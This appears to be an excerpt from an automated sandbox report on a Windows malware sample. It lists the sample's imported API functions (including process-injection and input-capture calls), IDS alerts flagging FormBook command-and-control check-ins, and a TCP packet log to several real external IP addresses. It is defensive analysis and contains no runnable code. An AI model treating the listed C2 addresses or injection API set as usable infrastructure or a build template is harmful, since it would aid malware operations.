COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-02T13:53:43.440829+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	64512	80	192.168.2.6	199.59.243.226
2024-08-02T13:53:27.259778+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49770	80	192.168.2.6	217.196.55.202
2024-08-02T13:51:57.423849+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49744	80	192.168.2.6	85.159.66.93
2024-08-02T13:52:25.093527+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49752	80	192.168.2.6	15.197.172.60
2024-08-02T13:54:27.403003+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	64523	80	192.168.2.6	154.215.72.110
2024-08-02T13:53:05.503000+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49766	80	192.168.2.6	15.197.240.20
2024-08-02T13:54:04.925630+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	64518	80	192.168.2.6	72.52.178.23
2024-08-02T13:52:38.434979+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49758	80	192.168.2.6	66.29.149.46
2024-08-02T13:51:43.897495+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49738	80	192.168.2.6	46.30.211.38
2024-08-02T13:51:16.664024+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49726	80	192.168.2.6	52.25.92.0
2024-08-02T13:52:51.871610+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49762	80	192.168.2.6	195.110.124.133
2024-08-02T13:51:30.591363+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49733	80	192.168.2.6	116.50.37.244
2024-08-02T13:54:18.417842+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	64522	80	192.168.2.6	194.67.71.191
2024-08-02T13:50:17.693616+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49720	80	192.168.2.6	154.215.72.110
2024-08-02T13:52:11.078419+0200	TCP	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	49748	80	192.168.2.6	91.195.240.94

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 2, 2024 13:50:52.791544914 CEST	49720	80	192.168.2.6	154.215.72.110
Aug 2, 2024 13:50:52.803106070 CEST	80	49720	154.215.72.110	192.168.2.6
Aug 2, 2024 13:50:52.803219080 CEST	49720	80	192.168.2.6	154.215.72.110
Aug 2, 2024 13:50:52.805896044 CEST	49720	80	192.168.2.6	154.215.72.110
Aug 2, 2024 13:50:52.810890913 CEST	80	49720	154.215.72.110	192.168.2.6
Aug 2, 2024 13:50:52.810997009 CEST	49720	80	192.168.2.6	154.215.72.110
Aug 2, 2024 13:50:52.812342882 CEST	49720	80	192.168.2.6	154.215.72.110
Aug 2, 2024 13:50:52.815128088 CEST	80	49720	154.215.72.110	192.168.2.6
Aug 2, 2024 13:50:52.816545963 CEST	80	49720	154.215.72.110	192.168.2.6
Aug 2, 2024 13:50:52.817908049 CEST	80	49720	154.215.72.110	192.168.2.6
Aug 2, 2024 13:51:08.199404955 CEST	49723	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:08.204755068 CEST	80	49723	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:08.204905987 CEST	49723	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:08.206670046 CEST	49723	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:08.211543083 CEST	80	49723	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:08.821131945 CEST	80	49723	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:08.821152925 CEST	80	49723	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:08.821165085 CEST	80	49723	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:08.821240902 CEST	49723	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:09.712790966 CEST	49723	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:10.730830908 CEST	49724	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:10.735865116 CEST	80	49724	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:10.736015081 CEST	49724	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:10.737643957 CEST	49724	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:10.743295908 CEST	80	49724	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:11.366204977 CEST	80	49724	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:11.366221905 CEST	80	49724	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:11.366281986 CEST	49724	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:11.367880106 CEST	80	49724	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:11.367937088 CEST	49724	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:12.244117022 CEST	49724	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:13.262907028 CEST	49725	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:13.268115997 CEST	80	49725	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:13.268230915 CEST	49725	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:13.270243883 CEST	49725	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:13.275175095 CEST	80	49725	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:13.275291920 CEST	80	49725	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:13.877974033 CEST	80	49725	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:13.878010988 CEST	80	49725	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:13.878022909 CEST	80	49725	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:13.878403902 CEST	49725	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:14.775264025 CEST	49725	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:15.794830084 CEST	49726	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:15.800081015 CEST	80	49726	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:15.800208092 CEST	49726	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:15.802732944 CEST	49726	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:15.807710886 CEST	80	49726	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:16.663819075 CEST	80	49726	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:16.663844109 CEST	80	49726	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:16.664000034 CEST	80	49726	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:16.664016008 CEST	80	49726	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:16.664024115 CEST	49726	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:16.664040089 CEST	80	49726	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:16.664052963 CEST	80	49726	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:16.664160013 CEST	49726	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:16.664185047 CEST	49726	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:16.665667057 CEST	80	49726	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:16.665745020 CEST	49726	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:16.667444944 CEST	49726	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:51:16.672296047 CEST	80	49726	52.25.92.0	192.168.2.6
Aug 2, 2024 13:51:22.056021929 CEST	49728	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:22.060987949 CEST	80	49728	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:22.061163902 CEST	49728	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:22.062978029 CEST	49728	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:22.067940950 CEST	80	49728	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:22.977735996 CEST	80	49728	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:22.978032112 CEST	80	49728	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:22.978143930 CEST	49728	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:23.572329044 CEST	49728	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:24.595668077 CEST	49729	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:24.603658915 CEST	80	49729	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:24.603902102 CEST	49729	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:24.605706930 CEST	49729	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:24.610567093 CEST	80	49729	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:25.497365952 CEST	80	49729	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:25.497595072 CEST	80	49729	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:25.497708082 CEST	49729	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:26.118961096 CEST	49729	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:27.137747049 CEST	49730	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:27.142713070 CEST	80	49730	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:27.142834902 CEST	49730	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:27.144884109 CEST	49730	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:27.149699926 CEST	80	49730	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:27.149866104 CEST	80	49730	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:28.047764063 CEST	80	49730	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:28.048738956 CEST	80	49730	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:28.048871994 CEST	49730	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:28.650190115 CEST	49730	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:29.668817043 CEST	49733	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:29.673779011 CEST	80	49733	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:29.673885107 CEST	49733	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:29.675618887 CEST	49733	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:29.682216883 CEST	80	49733	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:30.591144085 CEST	80	49733	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:30.591228008 CEST	80	49733	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:30.591362953 CEST	49733	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:30.594991922 CEST	49733	80	192.168.2.6	116.50.37.244
Aug 2, 2024 13:51:30.599934101 CEST	80	49733	116.50.37.244	192.168.2.6
Aug 2, 2024 13:51:35.634531975 CEST	49734	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:35.639712095 CEST	80	49734	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:35.639810085 CEST	49734	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:35.641633034 CEST	49734	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:35.646502018 CEST	80	49734	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:36.306050062 CEST	80	49734	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:36.306142092 CEST	80	49734	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:36.306209087 CEST	49734	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:37.150623083 CEST	49734	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:38.169984102 CEST	49735	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:38.175208092 CEST	80	49735	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:38.175365925 CEST	49735	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:38.177252054 CEST	49735	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:38.183023930 CEST	80	49735	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:38.848763943 CEST	80	49735	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:38.848823071 CEST	80	49735	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:38.848881960 CEST	49735	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:39.681627989 CEST	49735	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:40.706504107 CEST	49736	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:40.711807966 CEST	80	49736	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:40.711926937 CEST	49736	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:40.713829994 CEST	49736	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:40.718894005 CEST	80	49736	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:40.718981028 CEST	80	49736	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:41.360732079 CEST	80	49736	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:41.360774040 CEST	80	49736	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:41.360876083 CEST	49736	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:42.228338003 CEST	49736	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:43.247726917 CEST	49738	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:43.253107071 CEST	80	49738	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:43.253215075 CEST	49738	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:43.255455971 CEST	49738	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:43.268755913 CEST	80	49738	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:43.897175074 CEST	80	49738	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:43.897419930 CEST	80	49738	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:43.897495031 CEST	49738	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:43.903229952 CEST	49738	80	192.168.2.6	46.30.211.38
Aug 2, 2024 13:51:43.907998085 CEST	80	49738	46.30.211.38	192.168.2.6
Aug 2, 2024 13:51:49.048338890 CEST	49739	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:49.053858995 CEST	80	49739	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:49.053997040 CEST	49739	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:49.056546926 CEST	49739	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:49.062762022 CEST	80	49739	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:49.833924055 CEST	80	49739	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:49.834652901 CEST	80	49739	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:49.834727049 CEST	49739	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:50.572170019 CEST	49739	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:51.591703892 CEST	49740	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:51.596842051 CEST	80	49740	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:51.596926928 CEST	49740	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:51.599205017 CEST	49740	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:51.604127884 CEST	80	49740	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:52.351591110 CEST	80	49740	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:52.351722002 CEST	80	49740	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:52.351782084 CEST	49740	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:53.103462934 CEST	49740	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:54.122503996 CEST	49741	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:54.127401114 CEST	80	49741	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:54.127486944 CEST	49741	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:54.129615068 CEST	49741	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:54.135138035 CEST	80	49741	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:54.135348082 CEST	80	49741	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:54.910922050 CEST	80	49741	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:54.911834955 CEST	80	49741	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:54.915092945 CEST	49741	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:55.634829998 CEST	49741	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:56.657035112 CEST	49744	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:56.662291050 CEST	80	49744	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:56.665066004 CEST	49744	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:56.669017076 CEST	49744	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:56.673921108 CEST	80	49744	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:57.419544935 CEST	80	49744	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:57.423685074 CEST	80	49744	85.159.66.93	192.168.2.6
Aug 2, 2024 13:51:57.423849106 CEST	49744	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:57.429024935 CEST	49744	80	192.168.2.6	85.159.66.93
Aug 2, 2024 13:51:57.433996916 CEST	80	49744	85.159.66.93	192.168.2.6
Aug 2, 2024 13:52:02.457364082 CEST	49745	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:02.462425947 CEST	80	49745	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:02.462513924 CEST	49745	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:02.465368032 CEST	49745	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:02.470506907 CEST	80	49745	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:03.127219915 CEST	80	49745	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:03.127378941 CEST	80	49745	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:03.127511024 CEST	49745	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:03.978339911 CEST	49745	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:04.997303963 CEST	49746	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:05.002230883 CEST	80	49746	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:05.002345085 CEST	49746	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:05.007319927 CEST	49746	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:05.012214899 CEST	80	49746	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:05.676372051 CEST	80	49746	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:05.676594973 CEST	80	49746	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:05.676647902 CEST	49746	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:06.514225960 CEST	49746	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:07.529032946 CEST	49747	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:07.533920050 CEST	80	49747	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:07.537163019 CEST	49747	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:07.541042089 CEST	49747	80	192.168.2.6	91.195.240.94
Aug 2, 2024 13:52:07.545953989 CEST	80	49747	91.195.240.94	192.168.2.6
Aug 2, 2024 13:52:07.545980930 CEST	80	49747	91.195.240.94	192.168.2.6
